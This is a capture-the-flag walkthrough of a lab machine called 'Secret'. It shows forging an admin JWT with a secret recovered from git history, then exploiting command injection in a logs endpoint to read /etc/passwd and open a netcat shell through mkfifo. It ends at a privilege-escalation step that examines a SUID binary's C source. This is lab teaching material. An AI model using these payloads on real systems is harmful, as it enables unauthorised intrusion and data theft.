8 minute read

Secret

Enumeration

Nmap Scan

Nmap scan report for 10.10.11.120
Host is up (0.091s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=2/27%OT=22%CT=1%CU=34300%PV=Y%DS=2%DC=T%G=Y%TM=621BEA2
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=107%TI=Z%CI=Z%TS=A)OPS(O1=M5
OS:4BST11NW7%O2=M54BST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O
OS:6=M54BST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%D
OS:F=Y%T=40%W=FAF0%O=M54BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%
OS:RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%I
OS:PL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
HOP RTT       ADDRESS
1   135.77 ms 10.10.16.1
2   46.97 ms  10.10.11.120

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.43 seconds

Gobuster scan

gobuster dir -w Documents/wordlists/common.txt -u http://10.10.11.120/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.120/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                Documents/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/27 23:52:45 Starting gobuster in directory enumeration mode
===============================================================
/api                  (Status: 200) [Size: 93]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/docs                 (Status: 200) [Size: 20720]
/download             (Status: 301) [Size: 183] [--> /download/]

===============================================================
2022/02/27 23:53:32 Finished
===============================================================

If we download the zip given in the site we get a nodejs project.

This project contains a .env with the following content:

DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

Register

If you have a quick overview on the project and on the api docs you can check some rules for user registration:

// Schema for user registration
const schema = {
        name: Joi
            .string()
            .min(6)
            .required(),
        email: Joi
            .string()
            .min(6)
            .required()
            .email(),
        password: Joi
            .string()
            .min(6)
            .required()
};

Note: JOI is being used for data validation.

After reading the code and the api rules you can send a post request with curl or postman, like this:

curl -i -X POST -H 'Content-Type: application/json' -d '
{
    "name": "0xuser",
    "email": "[email protected]",
    "password": "0xuser"
}' http://10.10.11.120/api/user/register

To which we receive the answer:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 27 Feb 2022 22:32:21 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 18
Connection: keep-alive
X-Powered-By: Express
ETag: W/"12-5OVclVIvkK2x0BcxV/3UB41sg5M"

{
    "user": "0xuser"
}

Login

After that we can try to login with the registered user as explained in the api docs:

curl -i -X POST -H 'Content-Type: application/json' -d '
{
    "email": "[email protected]",
    "password": "0xuser"
}' http://10.10.11.120/api/user/login

To which we receive the answer:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 27 Feb 2022 22:38:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: keep-alive
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoiMHh1c2VyIiwiZW1haWwiOiIweHVzZXJAZ21haWwuY29tIiwiaWF0IjoxNjQ2MDAxNDk1fQ.hSr3-mXwz2viWIpgnU-A3qs3rK5FifmvS1lvgDsANSg
ETag: W/"cf-aFiPO+R5SCa5kWfnmRqhgX57+/k"

We can see that we were succesfull since there is an auth-token in the header

Accessing Private Route

Now we can access the private route with the JWT token we just got, like this:

curl -i -H '
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoiMHh1c2VyIiwiZW1haWwiOiIweHVzZXJAZ21haWwuY29tIiwiaWF0IjoxNjQ2MDAxNDk1fQ.hSr3-mXwz2viWIpgnU-A3qs3rK5FifmvS1lvgDsANSg' 
http://10.10.11.120/api/priv

(We don’t need to specify the method now, because curl’s default method is GET)

To which we receive the answer:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 27 Feb 2022 23:01:22 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 55
Connection: keep-alive
X-Powered-By: Express
ETag: W/"37-nGc45xoZu3r/ZQKUraXaBdGxStg"

{
    "role": 
            {
                "role": "you are normal user",
                "desc":"0xuser"
            }
}

If we change the token we get the Access Denied answer, so we need to try something else to go further.

If we go to jwt.io and we place there our encoded token we get the following payload:

jwt token 0

However, we still need to verify our signature with the secret, which might remember us that TOKEN_SECRET variable we found earlier in the .env.

So, if you try to fill the secret field with secret you get the new token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoiMHh1c2VyIiwiZW1haWwiOiIweHVzZXJAZ21haWwuY29tIiwiaWF0IjoxNjQ2MDAxNDk1fQ.UweORL0OjtOPDCPEJMAjQ6B3c5a-kHvJ8qXiWnxo7tU

Unfortunately this is not exactly it, since you still get Access Denied.

After some time trying stuff out and re-reading the code I remembered this was a git and instantly went to check the log. To my surprise I found the following log:

❯ git log --oneline


e297a27 (HEAD -> master) now we can view logs from server 😃
67d8da7 removed .env for security reasons
de0a46b added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit

So, if we do git checkout to any commit previous to 67d8da7 we will get a different .env:

DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

If we replace that on the secret field we get the following token:

jwt token 1

With this token, we’ll receive the normal user message.

However, if we check the routes folder, we can easily notice that the username theadmin has more privileges than our regular user. So, if we change the "name" field from "0xuser" to "theadmin" and we generate the token, we can make a request with it:

curl -i -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6IjB4dXNlckBnbWFpbC5jb20iLCJpYXQiOjE2NDYwMDE0OTV9.psPLq8m0vY4ROI97tcyAGbrLme-DCg6cIg7-RuloFE8' http://10.10.11.120/api/priv

And we get a different answer:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Feb 2022 00:01:38 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 76
Connection: keep-alive
X-Powered-By: Express
ETag: W/"4c-bXqVw5XMe5cDkw3W1LdgPWPYQt0"

{
    "creds":
            {
                "role": "admin",
                "username": "theadmin",
                "desc": "welcome back admin"
            }
}

Exploit

In routes/private.js we have the following code segment:

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;    // SUS
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

This makes it obvious that we can have remote code execution if we overwrite file in the request. Just for test purposes we can try the payload:

❯ curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6IjB4dXNlckBnbWFpbC5jb20iLCJpYXQiOjE2NDYwMDE0OTV9.psPLq8m0vY4ROI97tcyAGbrLme-DCg6cIg7-RuloFE8' 'http://10.10.11.120/api/logs?file=;;cat+/etc/passwd' | sed 's/\\n/\n/g'

80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dasith:x:1000:1000:dasith:/home/dasith:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mongodb:x:113:117::/var/lib/mongodb:/usr/sbin/nologin

Note: the sed is just for readability purposes, because the the \n will be escaped in the curl answer

And if we do the same with id, we get the answer uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)

To get a shell we can use the following payload:

curl -i -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6IjB4dXNlckBnbWFpbC5jb20iLCJpYXQiOjE2NDYwMDE0OTV9.psPLq8m0vY4ROI97tcyAGbrLme-DCg6cIg7-RuloFE8' -G --data-urlencode 'file=;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lnvp 1338 >/tmp/f' http://10.10.11.120/api/logs

And then we simply nc -nv 10.10.11.120 1338 in our local machine and we’ll have a remote connection.

Now, to get the user flag we’ll just need to cat ../user.txt.

Privilege Escalation

After some trial and error I decided to search for SUID binaries with the command:

❯ find / -perm -u=s -type f 2>/dev/null; find / -perm -4000 -o- -perm -2000 -o- -perm -6000

$ /usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign

We can see a weird binary count in /opt. If we go there, we have 3 files:

-rw-r--r--  1 root root 16384 Oct  7 10:01 code.c
-rwsr-xr-x  1 root root 17824 Oct  7 10:03 count
-rw-r--r--  1 root root  4622 Oct  7 10:04 valgrind.log

code.c contains the following code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}


void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}


int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory namfe: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

Comments